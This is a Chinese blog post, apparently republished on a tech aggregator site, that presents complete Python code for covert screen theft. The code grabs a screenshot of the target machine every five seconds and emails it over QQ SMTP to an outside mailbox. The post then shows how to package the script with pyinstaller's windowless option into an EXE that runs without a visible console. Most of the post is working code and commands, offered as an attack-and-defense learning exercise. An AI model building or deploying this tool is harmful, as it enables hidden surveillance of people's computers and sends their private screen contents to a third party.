IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> Python攻防-截取屏幕并自动发送指定邮箱 -> 正文阅读

[Python知识库]Python攻防-截取屏幕并自动发送指定邮箱

前言

在前面的一篇文章:Python爬虫-京东商品到货自动邮件通知 介绍了如何通过 Python 脚本监控京东商品是否到货并自动发送到货邮件通知,为了继续学习 Python 编程语言的应用,本文将记录学习下如何通过 Python 脚本截取目标机器上的屏幕并自动发送到指定邮箱中。

屏幕窃取

目标脚本的目的是实现定期(每5秒)截取一次电脑屏幕、保存在本地并将其自动发送给自定邮箱。

脚本代码

最终实现的脚本比较简单,直接上代码:

import time
import smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart

"""
自动发送邮件的函数
"""
def smtp_s():
    fromaddr = '142*******30@qq.com'     # 发送方邮箱
    password = 'bw*************bef'      # 开启邮箱 SMTP 服务后获取的授权码
    toaddrs = ['130******81@163.com']    # 邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
    content = '正文内容:这是一封来自Python攻防脚本自动发送的电脑屏幕窃取测试邮件!'
    textApart = MIMEText(content)
    imageFile = r"1.png"  # r表示原生字符,不进行转义
    imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
    imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")
    m = MIMEMultipart()
    m.attach(textApart)   # 文本
    m.attach(imageApart)  # 发送图片附件
    m['Subject'] = '主题:Python屏幕监控邮件'
    m['From'] = "Tr0e"
    try:
        server = smtplib.SMTP('smtp.qq.com')
        server.login(fromaddr, password)
        server.sendmail(fromaddr, toaddrs, m.as_string())
        print('发送成功!')
        server.quit()
    except smtplib.SMTPException as e:
        print('error:', e)  # 打印错误

"""
截取屏幕并保存图片的函数
"""
def imG():
    i = 1
    while True:
        im = ImageGrab.grab()
        im.save('1.png')
        print("第%d个屏幕截取成功!" % i)
        time.sleep(5)
        i = i + 1
        smtp_s()


if __name__ == '__main__':
    imG()

简单解释下上述代码:

  1. 图片截取使用 Python 图像处理库 PIL 的 ImageGrab 模块,grab() 函数会抓取当前屏幕的快照,返回一个模式为 “RGB” 的图像;
  2. 发送邮件使用的是 Python 的 smtplib 库,该库对 SMTP 邮件传输协议协议进行了简单的封装,具体教程可以参见:Python SMTP发送邮件;
  3. 注意下,上面的收件邮箱是我的 163 网易邮箱,发件邮箱是 QQ 邮箱,发件密码(代码中的password = 'bw*************bef'字段,不是 QQ 登陆密码)的获取和发件功能需要在QQ邮箱的 “设置-账户” 里开启如下所示功能:
    在这里插入图片描述在这里插入图片描述

效果演示

在 Pycharm 中编辑并运行上述代码,运行效果如下:
在这里插入图片描述目标邮箱 130*******81@163.com 收到邮件如下:
![在这里插入图片描述](https://img-blog.csdnimg.cn/1cc5f3f3cf0e4a9bb31ef126a78b527e.png?x-oss-process=image在这里插入图片描述

生成EXE

下面演示将上述 Python 代码打包生成 Windows 系统下的 exe 可执行文件。

1、执行命令pip install pyinstaller下载安装 pyinstaller 库:
在这里插入图片描述2、若需将 xxx.py 文件打包,只需在文件对应的目录下运行终端并执行pyinstaller xxx.py命令即可,常用可选项及说明:

-F:打包后只生成单个exe格式文件;
-D:默认选项,创建一个目录,包含exe文件以及大量依赖文件;
-c:默认选项,使用控制台(就是类似cmd的黑框)-w:不使用控制台;
-p:添加搜索路径,让其找到对应的库;
-i:改变生成程序的icon图标。

3、执行命令pyinstaller -F -w Test.py开始封装上述窃取屏幕的代码,随后会在生成的 dist 文件夹下生成 Test.exe 可执行文件:
在这里插入图片描述4、双击运行 Test.exe 可执行文件,同样能触发屏幕窃取并发送邮件:
在这里插入图片描述此时邮箱将每隔 5 秒收到一封邮件……需要暂定发件的话需要手动在任务管理器里终止 Test.exe 的进程任务。

总结

本文所演示的代码不足 50 行,却实现了从自动定时截取电脑屏幕、到自动发送邮件的功能,这就是 Python 简短强悍的功能!后续将继续结合一些网络攻防的实际用途,学习并总结 Python 一些有意思的用法。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-08-07 12:01:58  更:2021-08-07 12:02:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/17 11:28:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码